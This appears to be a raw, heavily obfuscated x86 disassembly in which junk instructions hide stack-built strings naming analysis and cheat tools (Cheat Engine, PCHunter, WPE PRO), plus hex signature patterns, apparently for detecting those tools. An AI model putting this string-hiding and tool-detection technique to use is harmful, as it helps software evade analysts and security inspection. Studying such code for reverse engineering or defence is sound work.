mov esi, esi
and si, si
mov byte [esp + 0x27e], 0x74
neg esi
mov byte [esp + 0x27f], 0x74
shl si, 0x2e
rcr si, 0x7f
mov byte [esp + 0x280], 0x69
movsx esi, di
mov si, 0x29ca
test dh, 0x79
mov byte [esp + 0x281], 0x6e
or esi, 0x2d2f252f
mov byte [esp + 0x282], 0x67
neg si
mov byte [esp + 0x283], bl
shld si, dx, 0x58
mov byte [esp + 0x324], 0x53
shrd si, di, 0xe5
mov byte [esp + 0x325], 0x6d
mov byte [esp + 0x326], 0x61
shrd esi, esp, 0x45
mov byte [esp + 0x327], 0x6c
rol si, 0xf
jmp 0x87c74b
mov word [esp + 0x900], si
stc
cmc
mov esi, 0x20
cmp dl, 0xf7
test ebp, 0x124a0acb
mov word [esp + 0x902], si
shrd si, cx, 0xba
mov esi, 0x36
test esp, 0x380a5963
mov word [esp + 0x904], si
ror esi, 0xc3
mov esi, 0x43
mov word [esp + 0x906], si
xor esi, edi
mov esi, 0x20
cmp bh, 0xe0
mov word [esp + 0x908], si
inc esi
mov esi, 0x35
cmp esp, 0x42f50a67
mov word [esp + 0x90a], si
sar esi, 0x93
mov esi, 0x33
mov word [esp + 0x90c], si
clc
mov esi, 0x20
mov word [esp + 0x90e], si
sar si, 0xc1
shr esi, 0xdd
mov esi, 0x36
cmp al, 0xb9
mov word [esp + 0x910], si
mov esi, 0x38
mov word [esp + 0x912], si
xadd si, si
rol esi, 0x5c
mov esi, 0x20
clc
jmp 0x5455f3
mov word [esp + 0x806], si
dec si
mov esi, 0x20
cmc
jmp 0x7e4784
mov word [esp + 0x8c6], si
sbb esi, 0x76147401
stc
mov esi, 0x36
jmp 0x72d388
mov esi, 0x36
mov word [esp + 0x7bc], si
bsr si, cx
mov esi, 0x43
jmp 0x7d4488
mov byte [esp + 0x4f4], 0x4d
mov byte [esp + 0x4f5], cl
jmp 0x770913
mov word [esp + 0xa7e], si
and si, di
mov esi, 0x30
jmp 0x859cfa
mov byte [esp + 0x5a7], bl
jmp 0x6d9f16
mov word [esp + 0x804], si
mov esi, 0x30
jmp 0x69155b
mov word [esp + 0x8c8], si
mov esi, 0x43
mov word [esp + 0x8ca], si
bsr esi, esp
mov esi, 0x20
stc
mov word [esp + 0x8cc], si
neg si
mov esi, 0x30
test di, 0x6d73
cmc
cmp di, bx
mov word [esp + 0x8ce], si
mov word [esp + 0x8d0], si
sar esi, 0xd1
mov esi, 0x20
cmc
clc
mov word [esp + 0x8d2], si
mov esi, 0x36
mov word [esp + 0x8d4], si
rol si, 7
clc
mov esi, 0x43
cmc
mov word [esp + 0x8d6], si
bt si, cx
mov esi, 0x20
clc
test ch, dh
mov word [esp + 0x8d8], si
movzx esi, cx
btr esi, edi
mov esi, 0x30
stc
mov word [esp + 0x8da], si
cmc
mov word [esp + 0x8dc], si
mov esi, 0x20
test cx, 0x4092
mov word [esp + 0x8de], si
bt esi, edx
mov esi, 0x7af82528
jmp 0x7fec97
mov word [esp + 0xa74], si
mov word [esp + 0xa76], si
mov esi, 0x20
test edi, eax
mov word [esp + 0xa78], si
cmc
mov esi, 0x30
test di, di
test di, 0x78fc
mov word [esp + 0xa7a], si
test eax, 0x6e8b7b7b
cmp si, cx
clc
mov word [esp + 0xa7c], si
ror esi, 0xde
mov si, 0x68e1
cmc
mov esi, 0x20
jmp 0x6e162a
mov word [esp + 0x7c2], si
test ebx, 0x37b007fc
cmp ecx, 0x135b2f59
mov word [esp + 0x7c4], si
sal esi, 0xb
mov esi, 0x20
clc
test al, 0x4c
mov word [esp + 0x7c6], si
sbb si, ax
mov esi, 0x36
mov word [esp + 0x7c8], si
bsf si, di
mov esi, 0x34
mov word [esp + 0x7ca], si
mov esi, 0x20
test esi, eax
mov word [esp + 0x7cc], si
cmp ebp, 0x5af373b1
mov esi, 0x30
test cx, 0x691
stc
mov word [esp + 0x7ce], si
test bp, 0x684c
test ebx, ebp
cmc
mov word [esp + 0x7d0], si
adc si, bp
mov esi, 0x20
test ah, 0x99
cmc
mov word [esp + 0x7d2], si
mov esi, 0x36
clc
test al, dl
mov word [esp + 0x7d4], si
xor si, cx
sub si, 0x4944
mov esi, 0x43
mov word [esp + 0x7d6], si
movzx esi, dx
mov esi, 0x20
cmp cl, 0x4c
test dx, si
mov word [esp + 0x7d8], si
shld si, bx, 0xa2
shl si, 0x45
and esi, 0xde97751
mov esi, 0x30
test edi, 0xa2447c0
mov word [esp + 0x7da], si
cmc
jmp 0x83f6c8
mov word [esp + 0x922], si
test si, bx
sar si, 0xce
mov esi, 0x43
test ecx, 0x43890666
mov word [esp + 0x924], si
mov esi, 0x20
mov word [esp + 0x926], si
bts esi, edx
cmp eax, 0x3c552c5
or si, 0x19cc
mov esi, 0x36
mov word [esp + 0x928], si
sar esi, 1
cmovns esi, eax
mov esi, 0x34
test bp, 0x51b9
test esp, esp
jmp 0x67446f
mov esi, 0x36
clc
stc
mov word [esp + 0x8a4], si
cmc
xor si, 0x1794
mov esi, 0x45
mov word [esp + 0x8a6], si
sbb si, 0x2fbb
adc si, bp
mov esi, 0x20
mov word [esp + 0x8a8], si
mov esi, 0x30
cmp di, 0x7be2
mov word [esp + 0x8aa], si
mov word [esp + 0x8ac], si
mov esi, 0x20
mov word [esp + 0x8ae], si
bts si, bx
and si, 0x6ff3
adc esi, esp
mov esi, 0x32
mov word [esp + 0x8b0], si
xor si, di
adc esi, ecx
and esi, 0x6552e92
mov esi, 0x45
stc
jmp 0x78eac0
mov word [esp + 0xa54], si
btr esi, edx
bts si, si
mov esi, 0x20
cmp esi, 0x22697671
cmc
mov word [esp + 0xa56], si
mov esi, 0x3f
cmp dh, 0xaa
cmp sp, cx
mov word [esp + 0xa58], si
mov esi, 0x20
test di, cx
cmc
mov word [esp + 0xa5a], si
btr si, cx
mov esi, 0x3f
mov word [esp + 0xa5c], si
mov esi, 0x20
mov word [esp + 0xa5e], si
mov esi, 0x3f
cmc
mov word [esp + 0xa60], si
mov esi, 0x20
mov word [esp + 0xa62], si
and esi, ebp
mov esi, 0x3f
mov word [esp + 0xa64], si
sub si, dx
mov esi, 0x20
mov word [esp + 0xa66], si
adc esi, 0x40f26430
mov esi, 0x36
cmc
mov word [esp + 0xa68], si
or si, 0x1cfe
adc esi, 0x71465f27
mov esi, 0x38
cmp dx, si
cmp edi, 0x73616f09
mov word [esp + 0xa6a], si
add esi, esp
mov esi, 0x20
test edi, eax
stc
cmp bl, 0xbd
mov word [esp + 0xa6c], si
btr si, 0xb8
btr esi, esp
mov esi, 0x30
cmp eax, 0x756d7c36
mov word [esp + 0xa6e], si
rol si, 0x57
mov esi, 0x36
test di, 0x50e6
cmp bh, 0xad
mov word [esp + 0xa70], si
mov esi, 0x20
cmp esp, edx
jmp 0x7a9b42
mov byte [esp + 0x4f6], 0x6e
mov byte [esp + 0x4f7], dl
test ecx, ebx
test sp, 0x6f2c
mov byte [esp + 0x4f8], 0x74
jmp 0x563075
mov word [esp + 0x828], si
xchg si, si
test dx, dx
neg si
mov esi, 0x35
cmc
cmp esp, esp
mov word [esp + 0x82a], si
mov esi, 0x20
cmc
mov byte [esp + 0x335], 0x31
test si, 0x3f
mov byte [esp + 0x336], 0x36
mov byte [esp + 0x337], 0x33
cmp bp, cx
mov byte [esp + 0x338], 0x38
cmp esp, 0x152f2bdc
cmc
clc
mov byte [esp + 0x339], 0x34
cmp cl, 0x4a
mov byte [esp + 0x33a], 0x2e
cmp bh, 0x12
mov byte [esp + 0x33b], 0x74
mov byte [esp + 0x33c], 0x78
stc
mov byte [esp + 0x33d], 0x74
cmp dh, 0xb3
test si, dx
mov byte [esp + 0x33e], bl
cmp edx, 0x506b06dc
mov byte [esp + 0x2d0], 0x44
test ebp, esp
clc
jmp 0x5b631d
mov byte [esp + 0x48f], 0x5b
mov byte [esp + 0x490], bl
mov byte [esp + 0x3e4], 0x2e
shr dl, cl
adc si, 0x58fa
mov byte [esp + 0x3e5], 0x53
mov byte [esp + 0x3e6], 0x50
dec dl
mov byte [esp + 0x3e7], 0x4b
cmp ebp, esp
mov byte [esp + 0x3e8], 0x58
adc si, ax
mov byte [esp + 0x3e9], 0x5d
test ebp, esi
rcr dl, 0x1c
mov byte [esp + 0x3ea], bl
mov byte [esp + 0x434], 0x5b
add esi, 0x6f977a04
rcr dl, cl
mov byte [esp + 0x435], cl
or si, 0x4ef7
mov dl, 0x73
mov byte [esp + 0x436], 0x6e
sub esi, ecx
mov byte [esp + 0x437], 0x68
bt esi, esp
btc esi, 0xa9
mov byte [esp + 0x438], cl
inc si
cmc
mov byte [esp + 0x439], cl
movzx esi, di
mov byte [esp + 0x43a], 0x6b
inc si
xor si, 0x5aa
add esi, ebp
mov byte [esp + 0x43b], 0x2e
or esi, ebx
mov byte [esp + 0x43c], bl
xchg esi, esi
mov byte [esp + 0x3a4], 0x2e
btr esi, esp
mov byte [esp + 0x3a5], dl
movzx esi, di
add si, bp
mov byte [esp + 0x3a6], al
and esi, 0x17d102af
mov byte [esp + 0x3a7], 0x72
xor esi, ebx
mov byte [esp + 0x3a8], 0x5d
sbb si, bp
or si, si
mov byte [esp + 0x3a9], bl
mov byte [esp + 0x2dc], 0x23
mov byte [esp + 0x2dd], 0x33
adc esi, 0x629243fd
mov byte [esp + 0x2de], 0x32
clc
mov byte [esp + 0x2df], 0x37
btr si, sp
test cx, sp
mov byte [esp + 0x2e0], 0x37
ror si, 0x55
bsr si, si
mov byte [esp + 0x2e1], 0x30
bts esi, ebx
rol esi, 0x43
mov byte [esp + 0x2e2], bl
mov byte [esp + 0x35c], 0x43
adc esi, 0x588556e8
mov byte [esp + 0x35d], cl
mov byte [esp + 0x35e], 0x6d
cmp eax, 0x689b1845
bts esi, edi
mov byte [esp + 0x35f], 0x62
sal esi, 0xeb
mov byte [esp + 0x360], cl
mov byte [esp + 0x361], 0x4c
inc si
btr si, bp
btr esi, 0x34
mov byte [esp + 0x362], 0x42
sbb si, 0x6cf3
ror esi, 0xbb
mov byte [esp + 0x363], cl
mov byte [esp + 0x364], 0x78
bts esi, edi
inc esi
mov byte [esp + 0x365], bl
not esi
mov byte [esp + 0x44c], 0x70
sar si, 0x56
xchg si, si
mov byte [esp + 0x44d], 0x63
sub si, bx
mov si, 0x1e26
mov byte [esp + 0x44e], 0x68
movzx esi, bp
not esi
and esi, ebp
mov byte [esp + 0x44f], 0x75
or si, dx
mov byte [esp + 0x450], 0x6e
xadd esi, esi
clc
mov byte [esp + 0x451], 0x74
shl esi, 0x87
movsx esi, dx
mov byte [esp + 0x452], al
dec si
movsx esi, bp
mov byte [esp + 0x453], 0x72
bt esi, 0x7e
mov byte [esp + 0x454], bl
mov byte [esp + 0x440], 0x50
mov byte [esp + 0x441], 0x43
cmc
btr esi, ecx
mov byte [esp + 0x442], 0x48
mov byte [esp + 0x443], 0x75
sal esi, 0xf9
movzx esi, ax
neg si
mov byte [esp + 0x444], 0x6e
mov byte [esp + 0x445], 0x74
mov byte [esp + 0x446], al
sal si, 0x55
mov byte [esp + 0x447], 0x72
mov byte [esp + 0x448], bl
adc si, sp
and esi, eax
mov byte [esp + 0x37c], 0x54
cmovle si, si
mov byte [esp + 0x37d], al
xor esi, 0x7c33bb8
bt esi, edx
mov byte [esp + 0x37e], dl
mov byte [esp + 0x37f], 0x6c
mov byte [esp + 0x380], 0x61
sbb si, si
and esi, ecx
btr si, bp
mov byte [esp + 0x381], bl
bts si, di
adc si, 0x7f4f
sbb esi, 0x31850d68
mov byte [esp + 0x3ec], 0x54
mov byte [esp + 0x3ed], 0x68
btr esi, esi
rcl esi, 0xd
mov byte [esp + 0x3ee], 0x75
sbb si, bp
btr esi, esp
mov byte [esp + 0x3ef], 0x6e
and si, di
mov byte [esp + 0x3f0], 0x64
sbb esi, ebx
adc si, 0x5efd
mov byte [esp + 0x3f1], al
mov byte [esp + 0x3f2], 0x72
adc si, bp
xadd si, si
and esi, 0x5f3748fd
mov byte [esp + 0x3f3], 0x52
mov byte [esp + 0x3f4], 0x54
mov byte [esp + 0x3f5], 0x36
and esi, 0x5c8729c9
shl si, 0x2a
mov byte [esp + 0x3f6], 0x4d
and si, 0x4b8e
mov byte [esp + 0x3f7], 0x61
mov si, 0x757a
cmp si, 0x5cdf
stc
mov byte [esp + 0x3f8], 0x69
mov byte [esp + 0x3f9], 0x6e
bts si, si
mov byte [esp + 0x3fa], bl
sar si, 0xa8
mov byte [esp + 0x5e4], 0x54
cmp dl, 0xb1
adc si, si
mov byte [esp + 0x5e5], 0x68
mov byte [esp + 0x5e6], 0x75
xor esi, ecx
xchg si, si
ror esi, 0xf8
mov byte [esp + 0x5e7], 0x6e
xor si, bp
sal esi, 0x70
mov byte [esp + 0x5e8], 0x64
shld si, si, 0xab
btc si, bp
mov byte [esp + 0x5e9], al
bts si, si
shr si, 0x8c
mov byte [esp + 0x5ea], 0x72
test sp, ax
bsf si, bp
mov byte [esp + 0x5eb], 0x52
btr esi, 0xba
mov byte [esp + 0x5ec], 0x54
btc esi, edi
xchg esi, esi
mov byte [esp + 0x5ed], 0x36
adc si, bx
bt esi, edx
mov byte [esp + 0x5ee], 0x46
rol si, 0xd2
xor si, bp
shrd si, ax, 0x37
mov byte [esp + 0x5ef], cl
bts si, ax
mov byte [esp + 0x5f0], 0x72
test esp, edx
not si
mov byte [esp + 0x5f1], 0x6d
rol esi, 0x9e
mov byte [esp + 0x5f2], 0x44
ror si, 0xc3
mov byte [esp + 0x5f3], 0x43
shl si, 0xfc
btr esi, 9
mov byte [esp + 0x5f4], bl
test bl, 0xe
btc esi, 0x27
mov byte [esp + 0x588], 0x56
xchg esi, esi
mov byte [esp + 0x589], 0x42
sub esi, esi
bt si, ax
and esi, 0x6f7f7baf
mov byte [esp + 0x58a], 0x4d
rol si, 0x24
bts si, si
mov byte [esp + 0x58b], dl
cmc
sar esi, 0x18
xor esi, 0x556d2b5b
mov byte [esp + 0x58c], cl
inc esi
test si, ax
mov byte [esp + 0x58d], 0x53
mov byte [esp + 0x58e], 0x74
mov byte [esp + 0x58f], 0x64
or esi, 0xb050c00
btr si, dx
sub si, ax
mov byte [esp + 0x590], 0x43
bsr si, bx
mov byte [esp + 0x591], cl
cmp si, sp
stc
mov byte [esp + 0x592], 0x6d
and esi, 0x63ad4ff5
mov byte [esp + 0x593], 0x70
and esi, ebp
btr si, dx
mov byte [esp + 0x594], 0x4d
shr si, 0x66
bt esi, esp
mov byte [esp + 0x595], 0x67
mov si, si
cmp ch, 0x9e
mov byte [esp + 0x596], 0x72
mov byte [esp + 0x597], bl
test bh, 0xf5
mov byte [esp + 0x300], 0x4c
shrd si, sp, 0x13
jmp 0x876167
mov byte [esp + 0x484], bl
shr si, 0xde
mov byte [esp + 0x404], 0x56
sbb si, cx
sub esi, eax
btr esi, 0x59
mov byte [esp + 0x405], 0x42
shrd si, dx, 0x80
bt esi, 0x5a
mov byte [esp + 0x406], 0x35
shr esi, 0xa
mov byte [esp + 0x407], 0x2e
stc
bt si, sp
mov byte [esp + 0x408], 0x45
mov byte [esp + 0x409], 0x58
mov byte [esp + 0x40a], 0x45
mov byte [esp + 0x40b], bl
mov byte [esp + 0x414], 0x56
shl si, 0x2c
sar esi, 0xc9
mov byte [esp + 0x415], 0x42
mov byte [esp + 0x416], 0x36
bsr si, ax
sar esi, 0x53
mov byte [esp + 0x417], 0x2e
shrd si, si, 0xde
adc si, dx
mov byte [esp + 0x418], 0x45
btc esi, ecx
or esi, 0x1dd5836
sbb si, sp
mov byte [esp + 0x419], 0x58
bts si, bx
mov byte [esp + 0x41a], 0x45
bswap esi
or si, 0x5373
mov esi, ebp
mov byte [esp + 0x41b], bl
bt si, 0xda
mov byte [esp + 0x4a0], 0x57
bswap si
mov byte [esp + 0x4a1], 0x2d
mov byte [esp + 0x4a2], 0x50
add si, si
mov byte [esp + 0x4a3], 0x2d
mov byte [esp + 0x4a4], 0x45
mov si, bx
mov byte [esp + 0x4a5], 0x2e
shrd esi, edi, 0x64
movzx esi, cx
bts esi, eax
mov byte [esp + 0x4a6], al
xchg si, si
cmp dh, 0x92
mov byte [esp + 0x4a7], 0x78
btr esi, 0x85
mov byte [esp + 0x4a8], al
ror esi, 0x45
movsx esi, si
mov byte [esp + 0x4a9], bl
xchg si, si
add esi, 0x6ae34c6d
mov byte [esp + 0x500], 0x57
clc
mov byte [esp + 0x501], 0x50
cmp sp, bx
btr si, dx
mov byte [esp + 0x502], 0x45
mov byte [esp + 0x503], 0x20
mov si, 0x11ff
test sp, 0x2c4b
mov byte [esp + 0x504], 0x50
rcr si, 0xdc
mov byte [esp + 0x505], 0x52
mov byte [esp + 0x506], 0x4f
add si, 0xe10
btc si, 0x76
rcl si, 0xbb
mov byte [esp + 0x507], 0x2e
xor esi, edx
mov byte [esp + 0x508], al
and si, bx
movsx esi, di
inc esi
mov byte [esp + 0x509], 0x78
xor esi, ebp
bsf esi, ebx
mov byte [esp + 0x50a], al
bts esi, eax
mov byte [esp + 0x50b], bl
shrd si, sp, 0x13
sar si, 0x63
mov byte [esp + 0x4ac], 0x57
mov byte [esp + 0x4ad], al
not esi
mov esi, 0x36
mov word [esp + 0xa34], si
mov esi, 0x38
cmp bx, si
cmc
mov word [esp + 0xa36], si
mov esi, 0x20
jmp 0x793b1d
mov word [esp + 0x8b2], si
or si, bx
mov esi, 0x20
clc
stc
mov word [esp + 0x8b4], si
mov esi, 0x30
mov word [esp + 0x8b6], si
test bx, si
mov word [esp + 0x8b8], si
adc si, 0x7ea3
mov esi, 0x20
cmc
stc
mov word [esp + 0x8ba], si
xor si, di
mov esi, 0x36
test ebp, 0x5e5d38f6
test eax, edi
jmp 0x5f9543
mov word [esp + 0x786], si
not esi
sal esi, 0xd
mov esi, 0x20
mov word [esp + 0x788], si
mov esi, 0x46
jmp 0x81c6b7
mov word [esp + 0xa38], si
mov esi, 0x31
mov word [esp + 0xa3a], si
mov esi, 0x39
test bp, bp
clc
mov word [esp + 0xa3c], si
movsx esi, si
sub esi, 0x22cc740c
mov esi, 0x20
cmp dx, 0x546f
mov word [esp + 0xa3e], si
mov esi, 0x30
clc
stc
jmp 0x886543
call fcn.00445ad0
mov eax, dword [0x4ecf70]
xor eax, esp
mov dword [esp + 0x13c8], eax
push ebx
push esi
or al, 0x39
push edi
adc ah, 0x22
mov eax, dword [0x4ecf70]
and esi, eax
or dl, 0xf
xor eax, esp
push eax
rcl esi, 0x90
mov ax, bx
or dl, al
lea eax, [esp + 0x13e0]
rcr dl, cl
test bp, 0x107b
shrd esi, ebx, 0xaa
mov dword fs:[0], eax
rcl al, 0xac
sub ebx, ebx
shl dl, 0x96
mov cl, 0x6f
rcr al, 0x85
mov al, 0x6a
sub si, bp
mov byte [esp + 0x31f], al
mov byte [esp + 0x466], al
inc esi
add esi, 0x32ec431f
mov byte [esp + 0x3fe], al
cmc
mov al, 0x65
sal dl, 0x58
mov byte [esp + 0x31c], 0x5f
rcl dl, cl
test edi, ebp
mov byte [esp + 0x31d], cl
and dl, 0xa2
sub esi, eax
mov byte [esp + 0x31e], 0x62
mov byte [esp + 0x320], bl
adc esi, 0x5a395e00
not esi
clc
mov byte [esp + 0x464], cl
mov byte [esp + 0x465], 0x62
mov byte [esp + 0x467], 0x5f
sbb si, 0x27
test cl, ah
mov si, di
mov byte [esp + 0x468], 0x66
bt esi, edx
mov byte [esp + 0x469], cl
cmc
mov byte [esp + 0x46a], 0x72
not dl
clc
mov byte [esp + 0x46b], 0x6d
mov byte [esp + 0x46c], bl
mov byte [esp + 0x3fc], cl
cmp edi, ebx
mov byte [esp + 0x3fd], 0x62
sbb esi, 0x68a13590
mov byte [esp + 0x3ff], 0x5f
stc
movzx esi, bx
sal esi, 0xcd
mov byte [esp + 0x400], 0x61
mov byte [esp + 0x401], 0x70
and si, 0x4968
inc dl
mov byte [esp + 0x402], 0x70
dec dl
adc dl, cl
mov byte [esp + 0x403], bl
mov byte [esp + 0x3dc], 0x57
mov byte [esp + 0x3dd], 0x69
sbb dl, 0x30
mov byte [esp + 0x3de], 0x6e
mov si, di
mov byte [esp + 0x3df], 0x64
rcl dl, cl
mov byte [esp + 0x3e0], cl
sets dl
mov byte [esp + 0x3e1], 0x77
shld si, cx, 0xa2
mov byte [esp + 0x3e2], bl
mov byte [esp + 0x3ac], 0x43
shl si, 0x8c
rcr si, 0x6f
xor dl, 0xae
mov byte [esp + 0x3ad], 0x68
mov byte [esp + 0x3ae], al
sub dl, 0x76
mov byte [esp + 0x3af], 0x61
rcl esi, 0x8a
test ax, bx
mov byte [esp + 0x3b0], 0x74
mov byte [esp + 0x3b1], 0x20
btr si, cx
mov byte [esp + 0x3b2], 0x45
bt esi, 0xba
bsf si, dx
mov byte [esp + 0x3b3], 0x6e
bsr si, dx
btc esi, 0x42
mov byte [esp + 0x3b4], 0x67
add esi, 0x131e4d27
mov byte [esp + 0x3b5], 0x69
mov byte [esp + 0x3b6], 0x6e
neg si
not si
mov dl, 0xff
mov byte [esp + 0x3b7], al
sal dl, cl
mov byte [esp + 0x3b8], bl
sub si, 0x371a
mov byte [esp + 0x60c], 0x54
jmp 0x53f0fc
mov esi, 0x20
mov word [esp + 0x896], si
mov esi, 0x36
mov word [esp + 0x898], si
mov esi, 0x39
cmc
mov word [esp + 0x89a], si
or esi, edi
or si, 0x5b28
bts si, dx
mov esi, 0x20
clc
test dl, bl
cmp di, 0x170f
mov word [esp + 0x89c], si
sub si, cx
mov esi, 0x30
mov word [esp + 0x89e], si
mov word [esp + 0x8a0], si
btr esi, 0xfe
jmp 0x5f4aab
mov word [esp + 0xa72], si
mov esi, 0x30
jmp 0x72ea42
mov word [esp + 0x8c0], si
mov esi, 0x30
clc
cmp bx, 0x23ce
stc
mov word [esp + 0x8c2], si
mov word [esp + 0x8c4], si
btr esi, edx
xor esi, 0x225363c4
shl esi, 0x17
mov esi, 0x20
cmp sp, si
jmp 0x6a2e1d
mov byte [esp + 0x551], 0x2e
sbb si, bp
test bx, sp
mov byte [esp + 0x552], 0x64
ror esi, 0x1b
mov byte [esp + 0x553], 0x6c
sal esi, 0x3d
mov esi, 0x6c896a8b
mov byte [esp + 0x554], 0x6c
dec esi
or esi, 0x2afe3a4c
mov byte [esp + 0x555], bl
mov byte [esp + 0x470], 0x43
cmovle esi, ecx
mov byte [esp + 0x471], 0x75
cmp ah, cl
mov byte [esp + 0x472], 0x72
xchg si, si
btr esi, 0x65
mov byte [esp + 0x473], al
shl esi, 0xcf
mov byte [esp + 0x474], 0x2e
sar esi, 0xce
bsr esi, ebx
mov byte [esp + 0x475], 0x74
mov esi, 0x1a63604d
mov byte [esp + 0x476], 0x78
xor esi, edx
ror esi, 0x51
mov byte [esp + 0x477], 0x74
sbb si, sp
cmp si, 0x2925
mov byte [esp + 0x478], bl
shrd si, si, 0x4b
sar si, 0xe1
test di, si
mov byte [esp + 0x578], 0x47
shrd si, ax, 0x9d
mov byte [esp + 0x579], al
cmovb esi, ebx
mov byte [esp + 0x57a], 0x74
bt si, si
sbb esi, 0x1cb07a98
cmp esp, ebp
mov byte [esp + 0x57b], 0x56
bsr si, sp
mov byte [esp + 0x57c], al
add esi, ebx
mov byte [esp + 0x57d], 0x72
mov byte [esp + 0x57e], dl
add esi, 0x1c7b3982
rcl esi, 0xd4
btr si, 0x29
mov byte [esp + 0x57f], 0x69
rcr esi, 0x47
shl esi, 0x19
mov byte [esp + 0x580], cl
xor esi, 0x26d84083
bsr esi, esi
mov byte [esp + 0x581], 0x6e
inc si
bsr si, ax
bswap si
mov byte [esp + 0x582], 0x2e
sar esi, 0x2a
mov byte [esp + 0x583], al
dec esi
shrd esi, esi, 0xca
mov byte [esp + 0x584], 0x78
mov byte [esp + 0x585], al
bsr esi, edi
adc si, di
mov byte [esp + 0x586], bl
mov byte [esp + 0x5bc], 0x48
sbb si, 0x145f
cmp cx, 0x5c07
mov byte [esp + 0x5bd], cl
mov byte [esp + 0x5be], 0x74
mov byte [esp + 0x5bf], 0x6b
stc
mov byte [esp + 0x5c0], al
btc si, 0x50
mov byte [esp + 0x5c1], 0x79
sbb si, ax
xor esi, 0x7c292162
mov byte [esp + 0x5c2], dl
mov byte [esp + 0x5c3], 0x61
mov byte [esp + 0x5c4], 0x6d
and esi, ebx
shld esi, ebx, 0xe7
bts esi, ebp
mov byte [esp + 0x5c5], 0x70
mov byte [esp + 0x5c6], 0x6c
stc
shr esi, 0xcf
mov byte [esp + 0x5c7], al
btr esi, edi
bsf si, dx
mov byte [esp + 0x5c8], 0x2e
stc
mov byte [esp + 0x5c9], 0x74
btc si, 0x71
mov byte [esp + 0x5ca], 0x78
mov byte [esp + 0x5cb], 0x74
mov byte [esp + 0x5cc], bl
cmp bp, bx
mov byte [esp + 0x4c4], 0x53
mov byte [esp + 0x4c5], 0x61
bt esi, eax
bts esi, ebp
mov byte [esp + 0x4c6], 0x6d
xadd si, si
btc si, 0xc6
mov byte [esp + 0x4c7], 0x70
mov byte [esp + 0x4c8], 0x6c
neg esi
bswap si
mov byte [esp + 0x4c9], al
mov byte [esp + 0x4ca], 0x2e
shrd esi, ecx, 0x34
and si, bx
adc si, 0x2691
mov byte [esp + 0x4cb], 0x74
mov byte [esp + 0x4cc], 0x78
mov byte [esp + 0x4cd], 0x74
bsr esi, ecx
stc
mov byte [esp + 0x4ce], bl
btc si, 0x82
shld si, dx, 0x4d
sal esi, 0xb3
mov esi, 0x30
test dl, 0xc
mov word [esp + 0x8ec], si
mov word [esp + 0x8ee], si
btc si, 0x8c
mov si, 0x75ee
adc si, si
mov esi, 0x20
cmp esi, esi
clc
mov word [esp + 0x8f0], si
clc
ror si, 0x34
mov esi, 0x34
clc
test esi, ebx
mov word [esp + 0x8f2], si
neg si
mov esi, 0x42
cmp di, 0x97a
jmp 0x84deba
mov word [esp + 0x7e8], si
ror esi, 0xc6
adc si, 0x2373
mov esi, 0x20
stc
mov word [esp + 0x7ea], si
add esi, ebp
mov esi, 0x36
mov word [esp + 0x7ec], si
or si, di
shl esi, 0x60
mov esi, 0x45
mov word [esp + 0x7ee], si
ror si, 0xb1
mov esi, 0x20
cmc
test ch, 0x5e
mov word [esp + 0x7f0], si
add esi, edi
mov esi, 0x30
mov word [esp + 0x7f2], si
clc
cmp esp, ebx
mov word [esp + 0x7f4], si
mov esi, 0x20
clc
test sp, cx
jmp 0x62e93c
push eax
push ecx
cbw
cmovne ax, bx
lahf
mov eax, 0x13cc
jmp 0x796684
mov byte [esp + 0x59b], 0x6e
cmp dx, si
cmp si, 0x48fa
clc
mov byte [esp + 0x59c], dl
mov byte [esp + 0x59d], 0x6c
mov byte [esp + 0x59e], 0x61
mov byte [esp + 0x59f], 0x74
cmp esi, 0x5bc37fab
mov byte [esp + 0x5a0], 0x69
cmc
stc
test si, 0x331a
mov byte [esp + 0x5a1], cl
test si, sp
mov byte [esp + 0x5a2], 0x6e
mov byte [esp + 0x5a3], 0x2e
mov byte [esp + 0x5a4], 0x74
mov byte [esp + 0x5a5], 0x78
mov byte [esp + 0x5a6], 0x74
test ecx, edi
jmp 0x70aa7a
mov word [esp + 0x7be], si
test ebp, edi
sbb esi, eax
mov esi, 0x20
cmc
mov word [esp + 0x7c0], si
shr si, 0x75
mov esi, 0x30
jmp 0x74a38d
mov word [esp + 0x784], si
mov esi, 0x33
jmp 0x78fbca
mov word [esp + 0x918], si
mov esi, eax
cmc
cmp di, 0x5ca9
mov esi, 0x20
clc
stc
mov word [esp + 0x91a], si
sar si, 0xd6
mov esi, 0x36
mov word [esp + 0x91c], si
mov esi, 0x35
test cx, sp
mov word [esp + 0x91e], si
sub si, ax
sub si, 0x2c28
mov esi, 0x20
jmp 0x8435dd
mov word [esp + 0x808], si
mov si, ax
mov esi, 0x30
mov word [esp + 0x80a], si
mov word [esp + 0x80c], si
mov si, 0x3275
shld si, bp, 0x19
not esi
mov esi, 0x20
jmp 0x7f5c52
mov byte [esp + 0x2b2], 0x6c
clc
mov byte [esp + 0x2b3], bl
stc
cmc
clc
mov word [esp + 0x82c], si
mov esi, 0x30
test esi, 0x468137d6
mov word [esp + 0x82e], si
cmc
stc
mov word [esp + 0x830], si
mov esi, 0x20
jmp 0x845b2b
mov byte [esp + 0x2ae], 0x79
test esp, ecx
cmp cl, bl
mov byte [esp + 0x2af], 0x2e
stc
mov byte [esp + 0x2b0], 0x64
test esp, edi
stc
mov byte [esp + 0x2b1], 0x6c
clc
stc
jmp 0x7e6da3
mov word [esp + 0x816], si
stc
cmp ecx, 0xe870cc
test ch, 0x97
mov word [esp + 0x818], si
mov esi, 0x20
test esp, 0x1752a8e
cmp dh, 0x31
mov word [esp + 0x81a], si
bt esi, 0xcc
rcl esi, 0xa5
mov esi, 0x37
cmc
mov word [esp + 0x81c], si
rcr si, 0xd3
ror si, 0x42
mov esi, 0x33
test sp, 0x3e21
cmp ecx, 0x1fa44368
mov word [esp + 0x81e], si
xor si, 0x2433
mov esi, 0x20
test esp, 0x1b004dd
clc
mov word [esp + 0x820], si
xor si, si
bsr esi, esp
mov esi, 0x30
test di, cx
mov word [esp + 0x822], si
clc
test ecx, edi
test di, 0x1fac
mov word [esp + 0x824], si
sal si, 0x17
mov esi, 0x20
cmc
mov word [esp + 0x826], si
mov esi, 0x36
jmp 0x772de9
mov word [esp + 0x796], si
mov esi, 0x44
cmp esi, ecx
test esp, edx
mov word [esp + 0x798], si
add esi, esp
bswap si
add esi, 0x39e87a13
mov esi, 0x20
test edi, 0x65504d06
mov word [esp + 0x79a], si
mov esi, 0x33
mov word [esp + 0x79c], si
mov esi, 0x35
test dh, dh
test bl, 0xa5
mov word [esp + 0x79e], si
xor esi, esi
mov word [esp + 0x7a0], si
movsx esi, bp
mov esi, 0x35
mov word [esp + 0x7a4], si
mov si, bp
stc
movzx esi, sp
